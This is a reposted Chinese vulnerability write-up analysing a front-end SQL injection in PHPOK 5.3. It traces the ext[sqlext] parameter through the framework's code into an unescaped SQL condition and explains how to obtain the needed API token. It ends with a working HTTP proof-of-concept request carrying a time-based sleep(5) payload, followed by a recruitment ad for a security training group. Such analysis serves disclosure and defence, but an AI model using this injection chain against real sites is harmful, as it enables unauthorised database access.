某OK 5.3 最新版前台注入

admin 2022年5月23日03:21:57评论33 views字数 6616阅读22分3秒阅读模式

最近继续跟了一下新版的phpok,结果撞洞了,这里分享一下思路

最新版下载地址:https://www.phpok.com/phpok.html

注入点分析

底层获取参数:$this->get()方法
framework/init.php#get

final public function get($id,$type="safe",$ext="")
{
// PGC全局获取
$val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : (isset($_COOKIE[$id]) ? $_COOKIE[$id] : ''));
if($val == ''){
if($type == 'int' || $type == 'intval' || $type == 'float' || $type == 'floatval'){
return 0;
}else{
return '';
}
}
//判断内容是否有转义,所有未转义的数据都直接转义
$addslashes = false;
if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()){
$addslashes = true;
}
if(!$addslashes){
$val = $this->_addslashes($val);
}
return $this->format($val,$type,$ext);
}

跟进format函数:framework/init.php#format

final public function format($msg,$type="safe",$ext="")
{
if($msg == ""){
return '';
}
if(is_array($msg)){
foreach($msg as $key=>$value){
if(!is_numeric($key)){
$key2 = $this->format($key);
if($key2 == '' || in_array($key2,array('#','&','%'))){
unset($msg[$key]);
continue;
}
}
$msg[$key] = $this->format($value,$type,$ext);
}
if($msg && count($msg)>0){
return $msg;
}
return false;
}
if($type == 'html_js' || ($type == 'html' && $ext)){
$msg = stripslashes($msg);
if($this->app_id != 'admin'){
$msg = $this->lib('string')->xss_clean($msg);
}
$msg = $this->lib('string')->clear_url($msg,$this->url);
return addslashes($msg);
}
// 转义去除
$msg = stripslashes($msg);
//格式化处理内容
switch ($type){
case 'safe_text':
$msg = strip_tags($msg);
$msg = str_replace(array("\","'",'"',"<",">"),'',$msg);
break;
case 'system':
$msg = !preg_match("/^[a-zA-Z][a-z0-9A-Z_-]+$/u",$msg) ? false : $msg;
break;
case 'id':
$msg = !preg_match("/^[a-zA-Z][a-z0-9A-Z_-]+$/u",$msg) ? false : $msg;
break;
case 'checkbox':
$msg = strtolower($msg) == 'on' ? 1 : $this->format($msg,'safe');
break;
case 'int':
$msg = intval($msg);
break;
case 'intval':
$msg = intval($msg);
break;
case 'float':
$msg = floatval($msg);
break;
case 'floatval':
$msg = floatval($msg);
break;
case 'time':
$msg = strtotime($msg);
break;
case 'html':
$msg = $this->lib('string')->safe_html($msg,$this->url);
break;
case 'func':
$msg = function_exists($ext) ? $ext($msg) : false;
break;
case 'text':
$msg = strip_tags($msg);
break;
default:
$msg = str_replace(array("\","'",'"',"<",">"),array("&#92;","&#39;","&quot;","&lt;","&gt;"),$msg);
break;
}
if($msg){
$msg = addslashes($msg);
}
return $msg;
}

format默认为safe模式,也就是仅仅将 " ' < >实体编码。

注入点:
framework/api/index_control.php#phpok_f

//...
$token = $this->get("token");
if(!$token){
$this->json(P_Lang("接口数据异常"));
}
$this->lib('token')->keyid($this->site['api_code']);
$info = $this->lib('token')->decode($token);
if(!$info){
$this->json(P_Lang('信息为空'));
}
$id = $info['id'];

// 176行
$ext = $this->get('ext');
if($ext && is_array($ext)){
foreach($ext as $key=>$value){
if(!$value){
continue;
}
// sqlext变量转义取消
if($key == 'sqlext' && $value){
$value = str_replace(array('&#39;','&quot;','&apos;','&#34;'),array("'",'"',"'",'"'),$value);
}
$param[$key] = $value;
}
}
// $id 从加密的token中来
// 拼接sqlext的值的函数只有_userlist、_arc_condition_single、_arc_condition
$list = $this->call->phpok($id,$param);

继续跟进phpok函数:framework/phpok_call.php#phpok

public function phpok($id,$rs="")
{
// 76行
$siteinfo = $this->model('site')->get_one($rs['site']);
// 91行
if(substr($id,0,1) != '_'){
//$id 从token中来,为phpok表中identifier字段, $rs['site']可控为任意值
$call_rs = $this->load_phpoklist($id,$rs['site']);
}
// 116行
$func = '_'.$call_rs['type_id'];
// 131行 动态调用函数_xxxx
return $this->$func($call_rs,$cache_id);
}

跟进load_phpoklist:framework/phpok_call.php#load_phpoklist

private function load_phpoklist($id,$siteid=0)
{
$this->model('call')->site_id($siteid);
if($this->_cache && $this->_cache[$id]){
return $this->_cache[$id];
}
$this->_cache = $this->model('call')->all($siteid,'identifier');
if($this->_cache && $this->_cache[$id]){
return $this->_cache[$id];
}
return false;
}

这一段代码$this->model('call')->all($siteid,'identifier');实现的是查询phpok表where identifier=xxx的信息,接着在phpok()函数的131行进行动态调用其字段为type_id的值函数。

某OK 5.3 最新版前台注入


比如我们要调用framework/phpok_call.php下的_arclist函数,我们可以传入:
/api.php?c=index&f=phpok&ext[site]=1&token=加密('id=m_picplayer')

接着我们在framework/phpok_call.php寻找可触发sql的函数,从phpok表里我们可以看到其默认的type_id只有四个不同的值arclistarccatelistproject,而我们需要找到拼接sqlext变量的函数:
framework/phpok_call.php#_arclist

private function _arclist($rs,$cache_id='')
{
// 254行
$condition = $this->_arc_condition($rs,$flist,$project);
// 带入注入数据
$array['total'] = $this->model('list')->arc_count($project['module'],$condition);
}

跟进:framework/phpok_call.php#_arc_condition
直接拼接了sqlext

private function _arc_condition($rs,$fields='',$project='')
{
// 623行
if($rs['sqlext']){
$condition .= " AND ".$rs['sqlext'];
}

// 671行
return $condition;
}

接着将结果带入了:

$this->model('list')->arc_count($project['module'],$condition);

调用:framework/model/list.php#arc_count某OK 5.3 最新版前台注入

拼接sql,调用$this->db->count($sql)
framework/engine/db/mysqli.php#count

public function count($sql="",$is_count=true)
{
if($sql && is_string($sql) && $is_count){
$this->set('type','num');
$rs = $this->get_one($sql);
$this->set('type','assoc');
return $rs[0];
}else{
if($sql && is_string($sql)){
$this->query($sql);
}
if($this->query){
return mysqli_num_rows($this->query);
}
}
return false;
}

根进get_one函数:framework/engine/db/mysqli.php#get_one

public function get_one($sql='')
{
if($sql){
$false = $this->cache_false($sql);
if($false){
return false;
}
if($this->cache_get($sql)){
return $this->cache_get($sql);
}
$this->query($sql);

根进$this->query($sql);:framework/engine/db/mysqli.php#query


某OK 5.3 最新版前台注入



最终将sql带入执行。

当然,到这里,其实还有一个问题没有解决,我们需要如果拿到token=加密('id=m_picplayer')
framework/api/index_control.php#token_f

public function token_f()
{
$this->config('is_ajax',true);
if(!$this->site['api_code']){
$this->error(P_Lang("系统未配置接口功能"));
}
$id = $this->get('id','system');
if(!$id){
$this->error(P_Lang('未指定数据调用标识'));
}
$this->model('call')->site_id($this->site['id']);
// 限制字段where identifier=$id
$rs = $this->model('call')->get_one($id,'identifier');
if(!$rs || !$rs['status']){
$this->error(P_Lang('标识不存在或未启用'));
}

//141行
$array = array('id'=>$id,'param'=>$param);
$token = $this->lib('token')->encode($array);
$this->success($token);
}

其中第一个if条件需要在后台生成api字符串:


某OK 5.3 最新版前台注入


没开启的话,其实构造一个csrf的poc也是可以的

第二个条件传入id=m_picplayer即可。

url:http://phpok5_3_147/api.php?c=index&f=token&id=m_picplayer


poc:

GET /api.php?c=index&f=phpok&token=6318fdtC3WRpOzYNzKVNw78PFa9OhFea5pp3/uZ4U3T67a/F47WhJ0lr856V7yomOcG0u8/UJpIwKKOwJAKspTSWN+5ljVNWR5978g7HHoG14M&ext[sqlext]=sleep(5)%23&ext[site]=1 HTTP/1.1
Host: phpok5_3_147
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4
Connection: close


调用栈:

某OK 5.3 最新版前台注入


源:先知(https://xz.aliyun.com/t/6830)

注:如有侵权请联系删除


某OK 5.3 最新版前台注入



船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!


某OK 5.3 最新版前台注入

欢迎大家加群一起讨论学习和交流

某OK 5.3 最新版前台注入

快乐要懂得分享,

才能加倍的快乐。

原文始发于微信公众号(衡阳信安):某OK 5.3 最新版前台注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月23日03:21:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某OK 5.3 最新版前台注入http://cn-sec.com/archives/1033787.html

发表评论

匿名网友 填写信息